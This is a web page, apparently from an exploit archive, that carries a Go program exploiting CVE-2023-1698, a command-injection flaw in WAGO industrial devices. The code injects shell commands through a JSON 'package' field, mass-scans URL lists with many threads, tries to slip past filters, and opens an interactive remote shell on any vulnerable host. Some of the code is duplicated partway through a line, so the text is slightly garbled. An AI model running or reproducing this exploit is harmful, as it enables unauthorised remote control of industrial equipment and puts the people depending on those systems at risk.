Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

package main

import (
"bufio"
"bytes"
"crypto/tls"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
)

const (
// ANSI color codes
ColorReset = "\033[0m"
ColorRed package main

import (
"bufio"
"bytes"
"crypto/tls"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
)

const (
// ANSI color codes
ColorReset = "\033[0m"
ColorRed = "\033[31m"
ColorGreen = "\033[32m"
ColorYellow = "\033[33m"
ColorBlue = "\033[34m"
ColorPurple = "\033[35m"
ColorCyan = "\033[36m"
ColorWhite = "\033[37m"

Developer = "?brahimsql"
)

type Payload struct {
Package string `json:"package"`
}

type Config struct {
URL string
URLList string
Output string
Threads int
Timeout int
Verbose bool
Command string
NoColor bool
UserAgent string
}

type Result struct {
URL string
Vulnerable bool
Output string
Error error
}

var (
mu sync.Mutex
wg sync.WaitGroup
)

func main() {
printBanner()

var config Config

flag.StringVar(&config.URL, "u", "", "Target URL to test")
flag.StringVar(&config.URL, "url", "", "Target URL to test")
flag.StringVar(&config.URLList, "l", "", "File containing list of URLs to test")
flag.StringVar(&config.URLList, "list", "", "File containing list of URLs to test")
flag.StringVar(&config.Output, "o", "", "Output file for vulnerable URLs")
flag.StringVar(&config.Output, "output", "", "Output file for vulnerable URLs")
flag.IntVar(&config.Threads, "t", 10, "Number of concurrent threads")
flag.IntVar(&config.Threads, "threads", 10, "Number of concurrent threads")
flag.IntVar(&config.Timeout, "timeout", 10, "HTTP request timeout in seconds")
flag.StringVar(&config.Command, "c", "id", "Command to execute (default: id)")
flag.StringVar(&config.Command, "cmd", "id", "Command to execute (default: id)")
flag.BoolVar(&config.Verbose, "v", false, "Verbose output")
flag.BoolVar(&config.Verbose, "verbose", false, "Verbose output")
flag.BoolVar(&config.NoColor, "no-color", false, "Disable colored output")
flag.StringVar(&config.UserAgent, "ua", "Mozilla/5.0 (compatible; CVE-2023-1698-Scanner)", "Custom User-Agent")

flag.Usage = func() {
fmt.Printf("CVE-2023-1698 Scanner v%s - WAGO RCE Exploit\n\n")
fmt.Println("Usage:")
fmt.Printf(" %s [OPTIONS]\n\n", os.Args[0])
fmt.Println("Options:")
flag.PrintDefaults()
fmt.Println("\nExamples:")
fmt.Printf(" %s -u http://target.com\n", os.Args[0])
fmt.Printf(" %s -l urls.txt -o vulnerable.txt -t 20\n", os.Args[0])
fmt.Printf(" %s -u http://target.com -c \"whoami\" -v\n", os.Args[0])
}

flag.Parse()

if config.URL == "" && config.URLList == "" {
fmt.Println(colorize(ColorRed, "[!] Error: Either -u/--url or -l/--list must be specified", config.NoColor))
flag.Usage()
return
}

if config.URL != "" {
// Single URL mode
result := scanSingleURL(config.URL, config)
if result.Vulnerable {
fmt.Printf("%s[+] %s is VULNERABLE!%s\n",
colorize(ColorRed, "", config.NoColor), config.URL, ColorReset)
if result.Output != "" {
fmt.Printf("%s[*] Command Output:%s %s\n",
colorize(ColorBlue, "", config.NoColor), ColorReset, result.Output)
}

// Interactive shell
startInteractiveShell(config.URL, config)
} else {
fmt.Printf("%s[+] %s is not vulnerable%s\n",
colorize(ColorGreen, "", config.NoColor), config.URL, ColorReset)
}
} else {
// Bulk URL mode
scanURLList(config.URLList, config)
}
}

func printBanner() {
fmt.Printf("%sCVE-2023-1698 Scanner%s - WAGO Remote Code Execution | Developer: %s%s%s\n",
ColorCyan, ColorReset, ColorPurple, Developer, ColorReset)
fmt.Printf("For authorized testing only%s\n\n", ColorYellow, ColorReset)
}

func colorize(color, text string, noColor bool) string {
if noColor {
return text
}
return color + text
}

func createHTTPClient(timeout int) *http.Client {
return &http.Client{
Timeout: time.Duration(timeout) * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
MaxIdleConns: 100,
MaxIdleConnsPerHost: 10,
},
}
}

func sendRequest(baseURL, command string, config Config) (*http.Response, error) {
// Enhanced payload construction
payload := Payload{
Package: fmt.Sprintf(";echo -n '[PWNED_START]';%s;echo -n '[PWNED_END]';#", command),
}

jsonData, err := json.Marshal(payload)
if err != nil {
return nil, fmt.Errorf("JSON marshal error: %v", err)
}

// Target endpoint
targetURL := fmt.Sprintf("%s/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php",
strings.TrimSuffix(baseURL, "/"))

client := createHTTPClient(config.Timeout)

req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer(jsonData))
if err != nil {
return nil, fmt.Errorf("request creation error: %v", err)
}

// Enhanced headers to bypass simple filters
req.Header.Set("Content-Type", "application/json")
req.Header.Set("User-Agent", config.UserAgent)
req.Header.Set("Accept", "*/*")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept-Encoding", "gzip, deflate")
req.Header.Set("Connection", "keep-alive")

if config.Verbose {
fmt.Printf("%s[DEBUG] Sending request to: %s%s\n",
colorize(ColorYellow, "", config.NoColor), targetURL, ColorReset)
fmt.Printf("%s[DEBUG] Payload: %s%s\n",
colorize(ColorYellow, "", config.NoColor), string(jsonData), ColorReset)
}

return client.Do(req)
}

func checkVulnerability(url string, response *http.Response, config Config) (bool, string, error) {
if response == nil {
return false, "", fmt.Errorf("nil response")
}

body, err := io.ReadAll(response.Body)
if err != nil {
return false, "", fmt.Errorf("failed to read response body: %v", err)
}
defer response.Body.Close()

responseText := strings.ReplaceAll(string(body), "\\/", "/")

if config.Verbose {
fmt.Printf("%s[DEBUG] Response Status: %d%s\n",
colorize(ColorYellow, "", config.NoColor), response.StatusCode, ColorReset)
fmt.Printf("%s[DEBUG] Response Body (first 200 chars): %s%s\n",
colorize(ColorYellow, "", config.NoColor),
truncateString(responseText, 200), ColorReset)
}

// Enhanced pattern matching
patterns := []string{
`\[PWNED_START\](.*?)\[PWNED_END\]`, // Primary pattern
`\[S\](.*?)\[E\]`, // Fallback pattern
}

for _, patternStr := range patterns {
pattern := regexp.MustCompile(patternStr)
matches := pattern.FindStringSubmatch(responseText)

if len(matches) > 1 {
extractedContent := strings.TrimSpace(matches[1])

// Validate that we got actual command output
if extractedContent != "" && !strings.Contains(extractedContent, "error") {
return true, extractedContent, nil
}
}
}

// Additional checks for different response patterns
if strings.Contains(responseText, "uid=") ||
strings.Contains(responseText, "gid=") ||
strings.Contains(responseText, "root") {
return true, "Command executed successfully (detected uid/gid pattern)", nil
}

return false, "", nil
}

func scanSingleURL(url string, config Config) Result {
if config.Verbose {
fmt.Printf("%s[INFO] Scanning: %s%s\n",
colorize(ColorBlue, "", config.NoColor), url, ColorReset)
}

response, err := sendRequest(url, config.Command, config)
if err != nil {
return Result{
URL: url,
Vulnerable: false,
Error: err,
}
}

vulnerable, output, err := checkVulnerability(url, response, config)

return Result{
URL: url,
Vulnerable: vulnerable,
Output: output,
Error: err,
}
}

func scanURLList(filename string, config Config) {
file, err := os.Open(filename)
if err != nil {
fmt.Printf("%s[!] Error opening file: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
return
}
defer file.Close()

var urls []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url != "" && !strings.HasPrefix(url, "#") {
urls = append(urls, url)
}
}

if len(urls) == 0 {
fmt.Printf("%s[!] No valid URLs found in file%s\n",
colorize(ColorRed, "", config.NoColor), ColorReset)
return
}

fmt.Printf("%s[INFO] Loaded %d URLs for scanning%s\n",
colorize(ColorBlue, "", config.NoColor), len(urls), ColorReset)

// Create channels for URL processing
urlChan := make(chan string, len(urls))
resultChan := make(chan Result, len(urls))

// Start workers
for i := 0; i < config.Threads; i++ {
wg.Add(1)
go worker(urlChan, resultChan, config)
}

// Send URLs to workers
for _, url := range urls {
urlChan <- url
}
close(urlChan)

// Collect results
go func() {
wg.Wait()
close(resultChan)
}()

var vulnerableCount int
var outputFile *os.File

if config.Output != "" {
outputFile, err = os.Create(config.Output)
if err != nil {
fmt.Printf("%s[!] Error creating output file: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
} else {
defer outputFile.Close()
}
}

for result := range resultChan {
if result.Error != nil {
if config.Verbose {
fmt.Printf("%s[ERROR] %s: %v%s\n",
colorize(ColorRed, "", config.NoColor), result.URL, result.Error, ColorReset)
}
continue
}

if result.Vulnerable {
vulnerableCount++
fmt.Printf("%s[+] VULNERABLE: %s%s\n",
colorize(ColorRed, "", config.NoColor), result.URL, ColorReset)

if result.Output != "" {
fmt.Printf("%s[*] Output: %s%s\n",
colorize(ColorBlue, "", config.NoColor), result.Output, ColorReset)
}

if outputFile != nil {
outputFile.WriteString(result.URL + "\n")
}
} else if config.Verbose {
fmt.Printf("%s[+] Safe: %s%s\n",
colorize(ColorGreen, "", config.NoColor), result.URL, ColorReset)
}
}

fmt.Printf("\n%s[SUMMARY] Scan completed. Found %d vulnerable targets out of %d total%s\n",
colorize(ColorCyan, "", config.NoColor), vulnerableCount, len(urls), ColorReset)
}

func worker(urlChan <-chan string, resultChan chan<- Result, config Config) {
defer wg.Done()

for url := range urlChan {
result := scanSingleURL(url, config)
resultChan <- result
}
}

func startInteractiveShell(url string, config Config) {
fmt.Printf("\n%s[!] Starting interactive shell...%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)
fmt.Printf("%s[!] Type 'exit' or 'quit' to quit%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)
fmt.Printf("%s[!] Type 'clear' to clear screen%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)

reader := bufio.NewReader(os.Stdin)

for {
fmt.Printf("%s# %s", colorize(ColorCyan, "", config.NoColor), ColorReset)

command, err := reader.ReadString('\n')
if err != nil {
fmt.Printf("%s[!] Error reading input: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
break
}

command = strings.TrimSpace(command)

if command == "" {
continue
}

if command == "exit" || command == "quit" {
fmt.Printf("%s[!] Exiting shell...%s\n",
colorize(ColorGreen, "", config.NoColor), ColorReset)
break
}

if command == "clear" {
fmt.Print("\033[H\033[2J")
continue
}

// Execute command
response, err := sendRequest(url, command, config)
if err != nil {
fmt.Printf("%s[!] Command execution failed: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
continue
}

vulnerable, output, err := checkVulnerability(url, response, config)
if err != nil {
fmt.Printf("%s[!] Error processing response: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
continue
}

if vulnerable && output != "" {
fmt.Printf("%s\n", output)
} else {
fmt.Printf("%s[!] No output or command failed%s\n",
colorize(ColorYellow, "", config.NoColor), ColorReset)
}
}
}

func truncateString(s string, maxLen int) string {
if len(s) <= maxLen {
return s
}
return s[:maxLen] + "..."
}
Social Media Share